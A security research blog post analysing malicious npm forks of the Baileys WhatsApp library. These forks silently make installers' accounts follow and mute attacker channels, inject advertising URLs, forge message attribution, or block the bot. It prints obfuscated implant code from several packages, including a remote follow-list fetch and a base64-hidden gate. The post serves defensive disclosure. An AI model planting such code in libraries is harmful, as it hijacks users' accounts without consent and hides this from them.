---
title: "Baileys npm forks farm WhatsApp Channel followers"
description: "A growing npm campaign uses forks of the Baileys WhatsApp library to make developers' own accounts follow attacker channels, inflating follower counts and injecting advertising."
url: "https://safedep.io/blog/malicious-baileys-npm-whatsapp-campaign"
author: "Kunal Singh"
published: "2026-08-10"
---

# Baileys npm forks farm WhatsApp Channel followers

## Summary

> **Update (October 27, 2026):** The campaign is still active. New malicious packages continue to appear on npm under names that do not contain `baileys`. A new example is `charape`, with four versions (`1.0.0` to `1.0.3`). The [impacted packages](#impacted-packages) list now includes them.

Forks of [Baileys](https://github.com/WhiskeySockets/Baileys), the popular WhatsApp Web library,
silently make the installer's WhatsApp account follow channels the package author controls. Some
forks also inject the author's advertising URL into media the bot sends. One fork sends a message from the installer's account and then blocks the bot. This
is non-consensual social abuse shipped through npm. It is not credential theft.

Continuous monitoring of the npm registry records 4,250 package names that contain `baileys` and
another 112 that contain `libsignal-node`. The set includes the upstream library, legitimate forks,
mirrors, and many packages no one has examined. This post lists only the packages confirmed as
malicious in this campaign: 83 package names built on Baileys across 379 versions, and 15
`libsignal-node` impersonators across 38 versions. Everything outside that confirmed set
remains unverified, not cleared as safe. The confirmed count is a lower bound, and the campaign
keeps growing.

**Impact:**

- A silent, non-consensual follow of attacker-owned WhatsApp channels, using the installer's account
- A remotely controlled follow list, with each channel muted to hide the subscription (`lupy4u`)
- The author's advertising URL injected into every image and video the bot sends (`mamz-baileys`)
- Forged channel attribution added to the installer's outgoing messages (`@cikikomo/baileys`)
- A message sent from the installer's account, then an error that blocks the bot (`@prototypevip/baileys`)

**Indicators of Compromise (IoC):**

- npm publishers: `prototype1006`, `cikikomo`, `neykoor`, `mamzhandsome`, `lupy4u`, `diezyyasha`
- Maintainer emails: `aqua193728@gmail.com`, `aryoagung321@gmail.com`, `chinquepapa@gmail.com`,
  `mamzstoreee@gmail.com`, `myluppy46@gmail.com`, `begalwkwk@gmail.com`
- Advertising URL injected into media: `hxxps://fiora[.]nixel[.]my[.]id/` (`mamz-baileys`)
- Remote follow-list source: `hxxps://raw[.]githubusercontent[.]com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json` (`lupy4u`)
- Newsletter channel identifiers: `120363401404146384@newsletter` (`@neykoor`),
  `120363426628484388@newsletter` (`@cikikomo`), `120363406881628130@newsletter`
  (`mamz-baileys`, shared with `diezyyasha-baileys`)
- `lupy4u` control repository: GitHub `LevviCodeID/Levi4than` (`lupy4u` pulls its follow list from
  `levvleys.json` there); operator site `levvicode[.]cloud`

## Part 1: The campaign and impacted packages

### Why Baileys is a target

Baileys is a WhatsApp Web multi-device library for Node.js. Developers use it to build WhatsApp
bots.

These forks target the authenticated session. A paired session can send messages, follow channels,
and read chats as the account holder. An attacker who controls the session controls the account.

### Recent packages

These packages are the examples analysed here. Source review covers all but one. npm removed
`@diezyyasha/libsignal-node` before analysis, so that row reflects public reports only.

| Package                      | Version     | Behaviour                         | Delivery            | Verified          |
| ---------------------------- | ----------- | --------------------------------- | ------------------- | ----------------- |
| `@prototypevip/baileys`      | 0.0.4       | Account block (self-DoS)          | Fork                | From source       |
| `@cikikomo/baileys`          | 1.0.10      | Forged attribution                | Fork                | From source       |
| `@neykoor/baileys`           | 7.0.16-rc15 | Forced follow                     | Fork                | From source       |
| `mamz-baileys`               | 8.6.62      | Forced follow and injected ad URL | Fork                | From source       |
| `lupy4u`                     | 4.5.6       | Remote-controlled follow and mute | Fork                | From source       |
| `@diezyyasha/libsignal-node` | 2.2.8       | Forced follow                     | Import-time patcher | Reported, removed |

### Impacted packages

A package appears here only after a confirmed malicious verdict. The first list covers packages
built on Baileys. The second covers `libsignal-node` impersonators, including the import-time
patcher.

[baileys-packages-list.csv](https://safedep.io/data/blogs/baileys-packages-list.csv)

[baileys-libsignal-packages.csv](https://safedep.io/data/blogs/baileys-libsignal-packages.csv)

### What links the packages

Each package is a different npm account with a different email. Most follow different channels. The
verified evidence does not show that one operator controls all of them. The packages overlap in one
place. `mamz-baileys` follows `120363406881628130@newsletter`. A record for the removed
`diezyyasha-baileys` lists the same channel. Apart from this overlap, the packages share only the
forced-follow technique. The evidence points to independent operators that reuse the same technique.

## How the follow evolved

The forced follow appears in three forms across the packages, from a fixed target to a
remotely controlled list.

1. Fixed target. `@neykoor/baileys` follows one hardcoded channel on every connection open.
2. Covert attribution. `mamz-baileys` follows a fixed channel and also injects an obfuscated
   advertising URL into every media message.
3. Remote control and concealment. `lupy4u` fetches its target list from a public GitHub file,
   follows each channel, and then mutes it. The operator changes targets without republishing, and
   the mute hides the subscription from the account owner.

`@prototypevip/baileys` is different. It abuses the same authenticated session, but to send a message
from the installer and block the bot.

## Part 2: technical analysis

### The common technique

All confirmed packages act through the installer's authenticated session. They do not steal a static
secret such as a token. The differences are which action they take and how the code reaches the
session.

### Forced follow of an attacker channel

`@neykoor/baileys@7.0.16-rc15` follows a hardcoded channel on every connection. The implant sits in
`lib/Socket/newsletter.js`.

```javascript
// lib/Socket/newsletter.js (@neykoor/baileys@7.0.16-rc15)
const AUTO_FOLLOW_JID = '120363401404146384@newsletter';
ev.on('connection.update', async ({ connection }) => {
  if (connection === 'open') {
    try {
      const followed = await isFollowingNewsletter(AUTO_FOLLOW_JID);
      if (!followed) {
        await executeWMexQueryIgnoreResponse({ newsletter_id: AUTO_FOLLOW_JID }, QueryIds.FOLLOW);
      }
    } catch {}
  }
});
```

Three properties make it deliberate. It binds to an automatic lifecycle event that no bot developer
calls, discards the response with a fire-and-forget query, and hides every error with an empty catch.
The pre-check keeps it silent on later reconnects. The socket chain shows the code reaches the
listener at runtime. `makeWASocket` builds down through `messages-send.js`, which calls
`makeNewsletterSocket`, which registers this listener.

### A remotely controlled follow list

`lupy4u@4.5.6` moves the target list off the package and onto the network. `autoJoinChannels()` in
`lib/Socket/newsletter.js` fetches a JSON file from GitHub, then follows and mutes each channel it
returns.

```javascript
// lib/Socket/newsletter.js (lupy4u@4.5.6)
const autoJoinChannels = async () => {
  const res = await fetch('https://raw.githubusercontent.com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json');
  const ids = await res.json();
  for (const id of ids) {
    if (typeof id !== 'string' || !id.endsWith('@newsletter')) continue;
    await newsletterWMexQuery(id, QueryIds.FOLLOW);
    await new Promise((r) => setTimeout(r, 3000));
    await newsletterWMexQuery(id, QueryIds.MUTE);
  }
};
sock.ev.on('connection.update', ({ connection }) => {
  if (connection !== 'open') return;
  setTimeout(() => autoJoinChannels(), 30000);
});
```

The list is remote, so the operator changes the targets without publishing a new version. The code
pairs each follow with a mute, which stops the notification that would show the account owner the
new subscription. It offers no opt-out and no consent prompt.

### An advertising URL injected into media

`mamz-baileys@8.6.62` adds a second behaviour on top of a forced follow. In `lib/Socket/messages-send.js`,
at two sites, it sets a `sourceUrl` on the preview payload of every image and video the bot sends.
It builds the URL from a character-code array rather than writing it as text.

```javascript
// lib/Socket/messages-send.js (mamz-baileys@8.6.62), lines 425 and 436
// prettier-ignore
sourceUrl: String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 102, 105, 111, 114, 97, 46, 110, 105, 120, 101, 108, 46, 109, 121, 46, 105, 100, 47);
// decodes to https://fiora.nixel.my.id/
```

Every other URL in the file is a plain string. Only this one comes from character codes. The
two forms behave the same at runtime, so the character codes serve only to keep the URL out of a
text search. The author's domain then rides on the media the installer sends to their own contacts.

### Forged attribution on outgoing messages

`@cikikomo/baileys@1.0.10` adds the operator's channel attribution to the victim's outgoing messages
from `lib/Socket/luxu.js`.

```javascript
// lib/Socket/luxu.js (@cikikomo/baileys@1.0.10)
forwardedNewsletterMessageInfo: {
    newsletterName: "CikiKomo",
    newsletterJid: "120363426628484388@newsletter",
    serverMessageId: 1
}
```

The same revision adds `noSelfSync: true` at four message-send sites. That flag suppresses syncing
the sent message back to the victim's own devices, which lowers the chance the account holder notices
the injected attribution. The package advertises both the channel identifier and the `noSelfSync`
flag in its own `package.json` description, so the concealment targets the victim, not the buyer of
the fork.

### Account block through an authorisation gate

`@prototypevip/baileys@0.0.4` hides an authorisation gate in `lib/Store/prototype-store.js`. The file
opens with a base64 string table and a one-line decoder.

```javascript
// lib/Store/prototype-store.js (@prototypevip/baileys@0.0.4)
const _0x = [
  'Z2ludG9raQ==', // gintoki
  'dHlwZQ==', // type
  'bWQ=', // md
  'd3M=', // ws
  'c2VuZE1lc3NhZ2U=', // sendMessage
  'dXNlcg==', // user
  'amlk', // jid
  '2LrZitix...', // Arabic: "you are no longer authorized to use this bot"
];
const _d = (s) => Buffer.from(s, 'base64').toString('utf8');
```

The gate walks each message object, finds the live multi-device socket, and compares its key to the
author's own key `gintoki`. If the keys do not match, it sends an unauthorised-use notice from the
victim's account and throws to halt message handling.

```javascript
// lib/Store/prototype-store.js (@prototypevip/baileys@0.0.4)
if (v[_d(_0x[1])] === _d(_0x[2]) && v[_d(_0x[3])]) {   // v.type === "md" && v.ws
  const _0s2 = _d(_0x[0]);                              // "gintoki"
  if (k !== _0s2 && _0xobj.ulid) {
    v[_d(_0x[4])](v[_d(_0x[5])]?.[_d(_0x[6])], {        // v.sendMessage(v.user?.jid, ...)
      text: _d(_0x[7]),
    });
    const _e = (s) => new Error(_d(s));
    throw _e("QmxvY2tlZA==");                           // "Blocked"
  }
  continue;
}
```

`cloneM()` wraps the gate and runs inside the `messages.upsert` listener, so it runs on every message
the bot receives, not only at startup. A legitimate licence check has no reason to hide the word
`sendMessage` behind base64. The author hid it on purpose.
